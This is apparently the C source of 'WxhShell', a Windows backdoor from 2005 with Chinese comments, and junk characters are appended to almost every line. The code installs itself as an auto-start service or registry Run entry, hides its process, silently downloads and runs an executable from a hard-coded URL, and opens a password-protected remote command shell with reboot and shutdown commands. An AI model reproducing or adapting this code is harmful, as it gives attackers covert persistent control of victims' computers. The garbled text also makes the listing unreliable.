ULONG UniqueProcessId; _I70qz8
ULONG InheritedFromUniqueProcessId; KxTYc
} PROCESS_BASIC_INFORMATION; -5-SlQu
3_1Io+uXk
PROCNTQSIP NtQueryInformationProcess; M:Y!k<p
CyBM4qyH
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 23n8,} H,
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *
SON>BSF
Kp=3\) &
HANDLE hProcess; $d??(
PROCESS_BASIC_INFORMATION pbi; A'AWuj\r2R
d[Fr
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); . =foXN
if(NULL == hInst ) return 0; 9q,JqB
|Nd.'|g,
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JU%yqXO
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v,.n/@s|X
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1.d9{LO [-
MPEBinE?
if (!NtQueryInformationProcess) return 0; vM3|Ti>a'
2.&V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1oW]O@R
if(!hProcess) return 0; uA}FuOE6
uxJiec`&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +MoxvW6
+fQ$~vr{'
CloseHandle(hProcess); PM?Ri^55<L
KZ
>"L
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tIy/QN_42
if(hProcess==NULL) return 0; 2mp>Mn~K^
E~O>m8hF
HMODULE hMod; 7R`ZTfD
char procName[255]; 9kg>)ty@
unsigned long cbNeeded; +5}T!r
|(w#NE5
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;<)-*?m9
C"|_j?
CloseHandle(hProcess); d@`:9
G3
z^HlDwsbm
if(strstr(procName,"services")) return 1; // 以服务启动 8RT0&[
0}C}\1
return 0; // 注册表启动 ps;o[gB@5
} G@I_6cE
T^H ) lC#R
// 主模块 X qva&/-
int StartWxhshell(LPSTR lpCmdLine) v5bb|o[{K
{ vc1GmB
SOCKET wsl; ~4X!8b_
BOOL val=TRUE; /Ta0}Y(y
int port=0; 3)MM5
bb$
struct sockaddr_in door; iC0,zk4 &
}~,cCtg:o
if(wscfg.ws_autoins) Install(); ZC-evy
Glc4g
port=atoi(lpCmdLine); A(sx5Ynp
\hD
bv5
if(port<=0) port=wscfg.ws_port; dSD}NM
9v3Nba
WSADATA data; &$Ip$"H
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7XC}C+
pQ`L=#WM
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >;U%~yy}qc
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f2e$BA
door.sin_family = AF_INET; r|BKp,u9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {[y"]_B4
door.sin_port = htons(port); w3|.4hS
!Kqj&y5
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E1Aa2
closesocket(wsl); _~&vs<
return 1; en6AAr:U}
} {ZI6!zh'
_Wsk3AP
if(listen(wsl,2) == INVALID_SOCKET) { tJfN6
closesocket(wsl); bD[W~ku
return 1; h pes
} ^
/eSby
Wxhshell(wsl); |2` $g
WSACleanup(); sWzXl~JbF
KFG^vmrn
return 0; e7AI&5Eg{
JV{!Ukuyp+
} " yl"A4p
S
`X03Q[:q"[
// 以NT服务方式启动 uXa}<=O
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R,Uy3N
{ R2f,a*>
DWORD status = 0; 2>$L>2$
DWORD specificError = 0xfffffff; ! r\ktX
#yOY&W:N
serviceStatus.dwServiceType = SERVICE_WIN32; znpZ0O\!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0`zq*OQ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `,=p\g|D
serviceStatus.dwWin32ExitCode = 0; j~>
#{"C
serviceStatus.dwServiceSpecificExitCode = 0; qiJ;v1
serviceStatus.dwCheckPoint = 0; j0NPd^
serviceStatus.dwWaitHint = 0; <[??\YOc
j?ubh{Izm
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9
f/tNQ7W
if (hServiceStatusHandle==0) return; e';c8WF3E
[<Puh
status = GetLastError(); f3|=T8"t
if (status!=NO_ERROR) Q#bo!]H{t
{ *3oQS"8
serviceStatus.dwCurrentState = SERVICE_STOPPED; oQB1fs
serviceStatus.dwCheckPoint = 0; !H.lVA
serviceStatus.dwWaitHint = 0; SvJ8Kl OV
serviceStatus.dwWin32ExitCode = status; E*"E{E7
serviceStatus.dwServiceSpecificExitCode = specificError;
v^E2!X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); td$Jx}'A
return; #Ih(2T
i
} +@v} (
HYa!$P3}[
serviceStatus.dwCurrentState = SERVICE_RUNNING; AU\!5+RDB
serviceStatus.dwCheckPoint = 0; ZWW}r~d{
serviceStatus.dwWaitHint = 0; pDN,(Ip
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #>NZN1
} 2Rt ZTn
@3D%i#2o&[
// 处理NT服务事件,比如:启动、停止 zOp"n\
VOID WINAPI NTServiceHandler(DWORD fdwControl) S(xA}0]
{ i<![i5uAI
switch(fdwControl) ]c+'SJQ
{ >u[ln@ l
case SERVICE_CONTROL_STOP: </Lqk3S-!
serviceStatus.dwWin32ExitCode = 0; hZG{"O!2s
serviceStatus.dwCurrentState = SERVICE_STOPPED; P3>2=qK"E(
serviceStatus.dwCheckPoint = 0; 8\_,Y
ji
serviceStatus.dwWaitHint = 0; AG=1TZI"
{ Ds/zl Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); co-D,o4x
} :/Zh[Q@EG
return; NE nP3A
case SERVICE_CONTROL_PAUSE: x&p=vUuukP
serviceStatus.dwCurrentState = SERVICE_PAUSED; 2AE|N_v8W
break; }k~0R-m
case SERVICE_CONTROL_CONTINUE: ,PAKPX9v_F
serviceStatus.dwCurrentState = SERVICE_RUNNING; G_o4A:2
break; `;hBO#(H0}
case SERVICE_CONTROL_INTERROGATE: Xb;`WE gC
break; 6P$q7G
}; 8b
$7#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ThB2U(Wf
} M](U"K?
r73Xh"SL
// 标准应用程序主函数 t?Znil|o
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q5ao2-\
{ 4 .qjTR
VW/1[?HG5
// 获取操作系统版本 h@8
OsIsNt=GetOsVer(); W`kgYGnFG
GetModuleFileName(NULL,ExeFile,MAX_PATH); .!! yj,bQz
sk/Mh8z
// 从命令行安装 bZJiubBRI
if(strpbrk(lpCmdLine,"iI")) Install(); dD!SgK [Jv
N9Vcp~;
// 下载执行文件 ABf#!G
if(wscfg.ws_downexe) { KcE=m\ h
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J0o[WD$Ax
WinExec(wscfg.ws_filenam,SW_HIDE); U[u6UG
} tL|Q{+i
yE
W[DB!ue
if(!OsIsNt) { [ j_jee
// 如果时win9x,隐藏进程并且设置为注册表启动 YN3uhd[2
HideProc(); v4zARE9#
StartWxhshell(lpCmdLine); wVB8PO8
} iBt5aUt
else Z
m>69gl
if(StartFromService()) 1owoh,V6
// 以服务方式启动 6ZJQ '9f
StartServiceCtrlDispatcher(DispatchTable); &bNj/n/
else #/6X44
*u
// 普通方式启动 <Do89
StartWxhshell(lpCmdLine); >~:]+q
6w#v,RDEu
return 0; e V#H"fM
} c{0?gt.
Q=E6ZxH5;
]a()siT
#t*c*o
=========================================== 7tQiKrhp
x(Z@R\C-a
P7!Sc
7;V5hul
"`wq:$R
2J5dZYW
" 8h=XQf6k0
c@P,
#include <stdio.h> > im4'-
#include <string.h> .j },
#include <windows.h> BN67o]*]<
#include <winsock2.h> ;DOz92X94
#include <winsvc.h> 70Am]L&M
#include <urlmon.h> uB?YJf .T@
- =Hr|AhE
#pragma comment (lib, "Ws2_32.lib") ,b8AB_yw
#pragma comment (lib, "urlmon.lib") q]aRJ`9f
{_JLmyaerZ
#define MAX_USER 100 // 最大客户端连接数
~a}pYLxl
#define BUF_SOCK 200 // sock buffer {rDZKy^f
#define KEY_BUFF 255 // 输入 buffer $}829<gh7
$n ) w4p_
#define REBOOT 0 // 重启 pJIH_H
#define SHUTDOWN 1 // 关机 ^/,s$dj
&*}S 0
#define DEF_PORT 5000 // 监听端口 :zCm$@
'nul{RE*
#define REG_LEN 16 // 注册表键长度 VQCPgs
#define SVC_LEN 80 // NT服务名长度 B sAglem
[O3R(`<e5
// 从dll定义API z)0F k
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >3JOQ;:d8
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7D,+1>5^Ne
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); la-+`
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TCYnErqk
>/>a++19
// wxhshell配置信息 W{`;][
struct WSCFG { @1pdyKK
int ws_port; // 监听端口 /[IK[
char ws_passstr[REG_LEN]; // 口令 tf,_4_7#$
int ws_autoins; // 安装标记, 1=yes 0=no 3+Q6<MS
q
char ws_regname[REG_LEN]; // 注册表键名 [x&&N*>N
char ws_svcname[REG_LEN]; // 服务名 q&+GpR
char ws_svcdisp[SVC_LEN]; // 服务显示名 Zqao4
char ws_svcdesc[SVC_LEN]; // 服务描述信息 _tjH=Ff$
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U>>J_2
int ws_downexe; // 下载执行标记, 1=yes 0=no D -jew &B
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i-Z@6\/a5
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3K'3Xp@A
PU8R
0r2k\
}; 6Hz=VhQrN
oxRu:+N
// default Wxhshell configuration h'bxgIl'`
struct WSCFG wscfg={DEF_PORT, O&)Y3 O1
"xuhuanlingzhe", v4&*iT
1, 5=dg4"b]
"Wxhshell", d+bTRnL
"Wxhshell", /A>/]2(
"WxhShell Service", fhC=MJ
@
"Wrsky Windows CmdShell Service", Q|0[B4e^:
"Please Input Your Password: ", FGZOn5U6'
1, -0W;b"]+A
"http://www.wrsky.com/wxhshell.exe", -Oo$\=d
"Wxhshell.exe" |h3YL!
}; V'9 k;SF
"];19]x6q
// 消息定义模块 ,
w_ Ew
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^v,^.>P
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~h1'_0t
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8\[6z0+;
char *msg_ws_ext="\n\rExit."; <@?bYp
char *msg_ws_end="\n\rQuit."; Q%85,L^ U
char *msg_ws_boot="\n\rReboot..."; 9@!`,Co
char *msg_ws_poff="\n\rShutdown..."; k:c)|2
char *msg_ws_down="\n\rSave to "; nTLdknh"
/{Nx%PqL
char *msg_ws_err="\n\rErr!"; #"TTI
vd0
char *msg_ws_ok="\n\rOK!"; lc*<UZR
(_d^iZyf
char ExeFile[MAX_PATH]; D@!#79:)
int nUser = 0; .~Td/o7
HANDLE handles[MAX_USER]; .aNy)Yu8
int OsIsNt; !"_\5$5i<X
' (ql7
SERVICE_STATUS serviceStatus; b,s T[!X[
SERVICE_STATUS_HANDLE hServiceStatusHandle; r=u>TA$
Z5+qb
// 函数声明 :] :q=1;c
int Install(void); o@"H3
gz
int Uninstall(void); O{Wy;7i
int DownloadFile(char *sURL, SOCKET wsh); $yG=exh3v
int Boot(int flag); $+-2/=>Xk
void HideProc(void); Td?a=yu:J
int GetOsVer(void); &_G^=Nc,H
int Wxhshell(SOCKET wsl); .I<#i9Le
void TalkWithClient(void *cs); wU+-;C5e
int CmdShell(SOCKET sock); '9*(4/,UJJ
int StartFromService(void); kbiMqiPG
int StartWxhshell(LPSTR lpCmdLine); hj s[$,1
{|a=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HOBM?|37CU
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?o?~Df&
LL4yafh
// 数据结构和表定义 Ar,B7-F!
SERVICE_TABLE_ENTRY DispatchTable[] = 6]1cy&SG
{ ;(5b5PA
{wscfg.ws_svcname, NTServiceMain}, $0=f9+@5
{NULL, NULL} Dz3=ksXZ
}; 9/'zk
h`;w/+/Zr
// 自我安装 1#/>[B
int Install(void) &3#19v7/
{ 7&-B6Y4
char svExeFile[MAX_PATH]; G&y< lh
HKEY key; B}Qpqa=_c
strcpy(svExeFile,ExeFile);
BUvE~l.,|
$t}t'uJ
// 如果是win9x系统,修改注册表设为自启动 __O@w.
if(!OsIsNt) { w7+3?'L
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OXAr..
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AU0pJB'
RegCloseKey(key); _[SW8 9zk
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W"MwpV
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {$5?[KD
RegCloseKey(key); AR8zCKBc^
return 0; }V:ZGP#!'
} }]VFLBl`w
} dTcrJ|/Y
} C+tB$yahO
else { RE6dN
]6#bp,
// 如果是NT以上系统,安装为系统服务 #2{H!jr
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i-Er|u; W
if (schSCManager!=0) }RvinF:5
{ -q'G]}
SC_HANDLE schService = CreateService X?kw=x{2P
( F5s Pd
schSCManager, X2\1OWR0
wscfg.ws_svcname, j%%& G$Tfu
wscfg.ws_svcdisp, I5Vp%mCY
SERVICE_ALL_ACCESS, T8'm{[C
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WOkAma-
SERVICE_AUTO_START, Pk)>@F<
SERVICE_ERROR_NORMAL, ))ArM-02
svExeFile, *5T^wZpj)
NULL, H;D5)eJ90
NULL, N=%4V
NULL, x)GpNkx:
NULL, xw2dNJL
NULL /h6K"w=='!
); U4s)3jDw
if (schService!=0) 0KT^V R
{ (t[sSl
CloseServiceHandle(schService); -,YoVB!T
CloseServiceHandle(schSCManager); |YEq<wbQ
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xNAX)v3Z
strcat(svExeFile,wscfg.ws_svcname); aq,Ab~V]
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~[a6
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v_G1YC7TU
RegCloseKey(key); rD_\NgVAs
return 0; I.dS-)Y
} {$AwG#kt
} V$o]}|
CloseServiceHandle(schSCManager); k7ye,_&>
} 9 ^+8b9y
} dBRK6hFC
Bl$Hg,in-
return 1; "($"T v2
} -HQ(t
P z<
\q;
// 自我卸载 "WF@T
int Uninstall(void) T@H<Fm_
{ Te d1Ky2O
HKEY key; xky +"
4>R)2g
if(!OsIsNt) { RwyX,|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^L?2y/
RegDeleteValue(key,wscfg.ws_regname); Lqa|9|!
RegCloseKey(key); &dsXK~9M>
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xwSi.~.
RegDeleteValue(key,wscfg.ws_regname); i(O+XQ}Fyx
RegCloseKey(key); +Hd'*'c
return 0; {J~VB~('
} OrPi ("/
} BWF>;*Xro
} !FA[
]d 4
else { -4Hf5!
ZVIlVuZ}
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y?P4EVknM3
if (schSCManager!=0) >S}^0vNZX
{ +d!"Zy2|B
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &iI5^b-P
if (schService!=0) a1dkB"Zp.p
{ 2I$-&c]
if(DeleteService(schService)!=0) { O=
84ZP%
CloseServiceHandle(schService); qbx}9pp}g
CloseServiceHandle(schSCManager); _=YHO.
return 0; 2'U+QK@
} &zV;p
CloseServiceHandle(schService); @V =HY
} 5c
($~EFr
CloseServiceHandle(schSCManager); X+KQ%Efo
} v{8W+
} NTV@,
CaB@,L
return 1; S; Fj9\2)I
} B`w@Xk'D
pq +~|
// 从指定url下载文件 >(He,o@M
int DownloadFile(char *sURL, SOCKET wsh) i87+9X
{ W&=F<n`
HRESULT hr; ab8F\%y-8
char seps[]= "/"; ;d<RPVE:
char *token; sjj,q?
char *file; d$5\{YLy
char myURL[MAX_PATH]; jI!WE$dt
char myFILE[MAX_PATH]; }AGdWt@
/NB;eV?
strcpy(myURL,sURL); ZTzh[2u*
token=strtok(myURL,seps); y^}00Z+l
while(token!=NULL) dV7~C@k6k8
{ ydMfV-
file=token; Nhrh>x[wJ
token=strtok(NULL,seps); hZtJ LY
} 1X-fiQJe
@+&QNI06S
GetCurrentDirectory(MAX_PATH,myFILE); |5g1D^b]s^
strcat(myFILE, "\\"); d>hLnz1O
strcat(myFILE, file); e)#f`wM
send(wsh,myFILE,strlen(myFILE),0); NR.YeKsBq
send(wsh,"...",3,0); q[5&
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f9a_:]F
if(hr==S_OK) ><w=
return 0; _ lE
d8Cb
else VRA0p[
return 1; ~#PC(g
@QbTO'UzK`
} O
Ce;8 ^
X;QhK] Z
// 系统电源模块 wPQRm[O|
int Boot(int flag) q3e^vMK"
{ :\69N/uw`
HANDLE hToken; rvETt
TOKEN_PRIVILEGES tkp; &XZS}n
EF8'ycJk+
if(OsIsNt) { HwxME%w
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -+Gd <U$
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /2Qgg`^)
tkp.PrivilegeCount = 1; Zp_vv@s
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k|;[)gE
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o l8|
if(flag==REBOOT) { Rdl^-\BV
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ByivV2qd{
return 0; ~@ML>z7
} l g43
else { Ja%(kq[v
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c=u'#|/eb
return 0; A[Pz&\@
} w<jlE8u
} @Rs3i;"W
else { =x-@-\m
if(flag==REBOOT) { 50HRgoP5Y
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $zD}hO9
return 0; &-2i+KjEX
} lQl
else { p?Jx2(%m
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |n*<H|
return 0; j7v?NY
} ZE4xF8
} $94l('B6H
ZuVes?&j
return 1; L%5g]=
} }1?
2
/5r!Fhx
// win9x进程隐藏模块 yQdoy^d/4
void HideProc(void) I1fUV72
{ e> Q_&6L
lAAs/
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +@jX|
if ( hKernel != NULL ) sY@x(qkIOc
{ 'bx$}w N
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HWxwG'EEY,
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \Ss6F]K]
FreeLibrary(hKernel); i5CBLv
} f) @-X!
^gd[U C-"w
return; 2P ic 4Z
} jLCZ
JSK
:}3;z'2]l
// 获取操作系统版本 @ !m+s~~]h
int GetOsVer(void) x$;kA}gy
{ g4NbzU[I
OSVERSIONINFO winfo; r0fEW9wL
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <ecif_a=m
GetVersionEx(&winfo); /qObXI
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1jkMje
return 1; 0PT\/imgN
else _'"$,~ZWY
return 0; pqnZ:'V
} ;nZN}&m
0zr Zrl
// 客户端句柄模块 2-x#|9
int Wxhshell(SOCKET wsl) 0pl |
{ sEm064
SOCKET wsh; i2Cw#x0s
struct sockaddr_in client; ;.|).y1/`
DWORD myID; Gk2R:\/Y
e{fm7Cc)D
while(nUser<MAX_USER) \A=:6R%Qb
{ '
Y cVFi
int nSize=sizeof(client); $*z>t*{7
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #t?tt,nc}
if(wsh==INVALID_SOCKET) return 1; j/PNi@
Avr2MaY{h
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZI NqIfc
if(handles[nUser]==0) L0dj 76'M
closesocket(wsh); iR6w)
else cgF?[Z+x
nUser++; 3|9
U`@
} b@m\ca
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -3T~+
Sz#dld Mz
return 0; 7-`iI(N<
} _5JwJcQ
i!DO
// 关闭 socket \aB>Q"pS
void CloseIt(SOCKET wsh) +ht{ARX2(
{ v5`Q7ZZ
closesocket(wsh); m[%*O#_
nUser--; rA6lyzJ
ExitThread(0); A0`#n|(Ad!
} Fg<rz&MR
UqEpeLK
// 客户端请求句柄 wU1h(D2&h
void TalkWithClient(void *cs) _pe_w{V-b6
{ +*vg)F:
E|> oseR
SOCKET wsh=(SOCKET)cs; xv:VW<
char pwd[SVC_LEN]; VdetY\
char cmd[KEY_BUFF]; WPu{
]<pl
char chr[1]; eh5j
int i,j; N]iu
o.
j@4AY}[tX
while (nUser < MAX_USER) { 5^7q
2".
l-G] jXu
if(wscfg.ws_passstr) { #I] ^Wo
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -`<